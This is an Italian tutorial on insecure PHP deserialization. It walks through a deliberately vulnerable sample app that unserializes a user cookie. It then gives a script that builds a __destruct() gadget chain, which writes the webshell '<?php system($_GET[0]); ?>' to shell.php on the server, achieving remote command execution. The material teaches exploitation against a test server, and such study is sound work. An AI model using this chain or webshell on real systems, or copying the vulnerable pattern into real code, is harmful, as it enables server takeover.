Introduzione

alt ser-01

Le applicazioni, durante l’esecuzione, creano numerose strutture dati e oggetti che mantengono in memoria RAM. È possibile utilizzare il meccanismo della serializzazione sugli oggetti memorizzati in RAM, per poterli salvare ad esempio su un supporto di memoria permanente. Formalmente, possiamo definire la Serializzazione come il processo mediante il quale è possibile trasformare strutture dati e oggetti in un formato che ne consente il salvataggio, ad esempio, all’interno di un database. I dati serializzati possono essere usati per ricostruire in un secondo momento mediante il meccanismo di Deserializzazione. La Deserializzazione è quindi il processo utilizzato per la ricostruzione di un oggetto a partire da un dato serializzato.

Molto spesso, la Serializzazione è utilizzata da applicazioni che hanno come obiettivo quello di scambiarsi oggetti o strutture dati, magari anche tramite la rete. Linguaggi di programmazione diversi, hanno formati diversi per rappresentare gli oggetti serializzati e in questo articolo ci concentreremo sul linguaggio PHP.

Un esempio pratico

Le vulnerabilità di deserializzazione, spesso note come Object Injection, si verificano quando le applicazioni deserializzano oggetti controllabili da input utente, senza un’adeguata sanificazione. In PHP esistono due funzioni specifiche per effettuare la serializzazione e la deserializzazione degli oggetti e sono rispettivamente la funzione serialize() e la funzione unserialize(). La serialize() prende come parametro un oggetto o una struttura dati e restituisce una stringa che rappresenta l’oggetto serializzato, mentre la funzione unserialize() prende come parametro una stringa e restituisce l’oggetto ricreato a partire dal dato serializzato. Una delle particolarità del linguaggio PHP sono i cosiddetti magic methods, che sono dei metodi che, se ridefiniti, sovrascrivono l’azione predefinita di PHP quando si verificano determinate azioni su un oggetto. Nel contesto di una vulnerabilità di deserializzazione i magic methods possono essere sfruttati per raggiungere porzioni di codice critiche, nel seguito dell’articolo vedremo in più in dettaglio questo concetto.

Per comprendere le implicazioni di questa tipologia di vulnerabilità, useremo una semplice applicazione web vulnerabile d’esempio (il codice è riportato di seguito) sulla quale è possibile sfruttare una vulnerabilità di deserializzazione per ottenere RCE.

<?php

class not_used_class {
    public $p1;
    
    public function __construct($b) {
        $this->p1 = $b;
    }

    public function __destruct() {
        echo "__destruct() is called on obj 'not_used_class'\n";
        $this->p1->write_log();
    }
}

class user {
    public $log_file = "/xampp/htdocs/deser/logfile.log";
    public $username;

    public function __construct($text) {
        $this->username = $text;
    }

    public function write_log() {
        print("function 'write_log()' on obj 'user' is called\n");
        echo file_put_contents($this->log_file, $this->username ."\n", FILE_APPEND);
    }
}

if(isset($_COOKIE["user"])) {
    $a = unserialize($_COOKIE["user"]);
    print_r($a);
    echo "<div>Welcome <b>" . $a->username . "</b></div>";
}
else {
    $a = new user("guest");
    $a_ser = serialize($a);
    setcookie("user", $a_ser);
}

Nel codice possiamo osservare una prima classe di nome not_used_class che viene solamente definita all’interno dello script, ma non viene mai creato nessun oggetto tramite tale classe. Inoltre all’interno di questa classe è definito il metodo __destruct() che è un magic methods, in particolare questo metodo viene eseguito automaticamente quando non esistono più referenze per un oggetto oppure durante la fase di chiusura dello script php. Successivamente è poi possibile osservare la definizione della classe user che contiene la definizione del metodo write_log() che scrive su file. Notare che tale metodo non viene mai esplicitamente richiamato all’interno dello script. Infine, l’ultima parte dello script si occupa di settare un cookie di nome user mediante la funzione serialize() nel caso in cui tale cookie non sia presente nella richiesta HTTP del client. In caso contrario, lo script richiama la funzione unserliaze() prendendo il valore di tale cookie come parametro, questo rappresenta il punto d’ingresso per la vulnerabilità di deserializzazione. Infatti il valore del cookie può essere facilmente manipolato da un utente, che di conseguenza può indurre l’applicazione a creare oggetti arbitrari. Per comprendere come php serializza i dati, iniziamo con l’osservare una risposta del server che contiene il dato serializzato all’interno dell’intestazione Set-Cookie.

alt ser-01

Il contenuto (url-decoded) del cookie user nella risposta del server è il seguente: O:4:"user":2:{s:8:"log_file";s:31:"/xampp/htdocs/deser/logfile.log";s:8:"username";s:5:"guest";}. Questa stringa rappresenta l’oggetto user serializzato con i suoi due attributi log_file e username.

alt ser-01

PHP, mediante la funzione unserialize(), è in grado di leggere questo dato serializzato e ricostruire un oggetto con le caratteristiche specificate al suo interno. Come accennato precedentemente, possiamo modificare il valore del cookie a nostro piacimento. In questo modo andremo a modificare le specifiche del dato serializzato. Proviamo ad esempio a modificare il nome da “guest” ad “administrator”. Per fare ciò occorre modificare sia il valore della stringa “username”, sia la lunghezza. Le immagini seguenti mostrano il comportamento della web application con il dato originale e quello modificato.

alt ser-01

alt ser-01

Modificando il valore dell’attributo username da “guest” ad “administrator”, è stato semplicemente possibile farci salutare dall’applicazione con un nome diverso da quello che ci assegna di deafult. Salvo per ottenere una vulnerabilità di XSS, la modifica del nome utente di per sè non consente di arrivare ad RCE. Per arrivare ad eseguire codice sul server remoto è necessario, in questo caso, sfruttare le proprietà dei magic methods, in particolare del metodo __destruct(). Come accennato precedentemente questo particolare metodo viene eseguito automaticamente quando un oggetto viene distrutto oppure durante la chiusura dello script. Riprendendo il codice dell’applicazione possiamo notare che la classe not_used_class contiene un unico attributo p1, il quale viene poi utilizzato all’interno del metodo __destruct(). Tale metodo viene ridefinito in modo da richiamare il metodo write_log() sull’oggetto p1. Possiamo quindi immaginare uno scenario in cui creiamo un payload serializzato in modo che contenga un oggetto di tipo not_used_class, che a sua volta contiene un oggetto di tipo user, quest’ultimo con un attributo log_file settato con il valore /xampp/htdocs/deser/shell.php. Questo payload dovrebbe consentire l’esecuzione del metodo __destruct() e di conseguenza anche write_log, in fase di chiusura dello script, creando così un file di nome “shell.php” nella root del web server. Infine, è necessario controllare il contenuto del file e ottenere una webshell che ci consentirà di eseguire comandi sul server. Notando la definizione di write_log() è possibile osservare che tale metodo utilizza l’attributo username per definire il contenuto del file da creare. Di conseguenza possiamo creare una webshell settando l’attributo username dell’oggetto user con un valore del tipo <?php system($_GET[0]); ?>. Per creare il payload del dato serializzato possiamo creare un semplice script in php come quello riportato di seguito, ed eseguirlo da riga di comando.

<?php

class not_used_class {
    public $p1;
    
    public function __construct($b) {
        $this->p1 = $b;
    }
}

class user {
    public $log_file = "/xampp/htdocs/deser/shell.php";
    public $username;

    public function __construct($text) {
        $this->username = $text;
    }

}

$a = new user("<?php system($_GET[0]); ?>");
$b = new not_used_class($a);
echo serialize($b);

Di seguito l’output dell’esecuzione dello script in php da riga di comando. alt ser-01

Notate che è stato dato l’output dello script in input al comando base64, questo è utile perché talvolta i payload serializzati in php possono contenere caratteri particolari come ad esempio i null byte. Di seguito uno screenshot della documentazione di php che spiega i casi in cui ciò avviene.

alt ser-01

A questo punto non rimane che testare il payload serializzato e vedere se ci crea una shell con la quale possiamo eseguire comandi. Inviando il payload creato mediante l’exploit, la risposta del server è la seguente.

alt ser-01

Osserviamo che nella risposta del server sono presenti le stampe che confermano l’esecuzione del metodo __destruct() e write_log(), inoltre provando ad accedere al file “shell.php” e settando il parametro 0=cd possiamo verificare l’esecuzione di comandi sul server remoto. L’immagine seguente mostra l’esecuzione del comando cd sul server di test utilizzato.

alt ser-01

Conclusioni

In questo articolo abbiamo visto come è possibile sfruttare, concatenando diverse porzioni di codice e i magic methods, una vulnerabilità di deserializzazione insicura per ottenere RCE sul server remoto. Ovviamente la specifica chain vista in questo articolo funziona sull’applicazione web d’esempio. Per applicazioni diverse andrebbe creata, molto probabilmente, una chain differente, magari anche più lunga e complessa e che sfrutta più di un magic methods (nel nostro esempio abbiamo usato solo il destruct). Per una lista completa dei magic methods è possbile consultare il seguente link: https://www.php.net/manual/en/language.oop5.magic.php.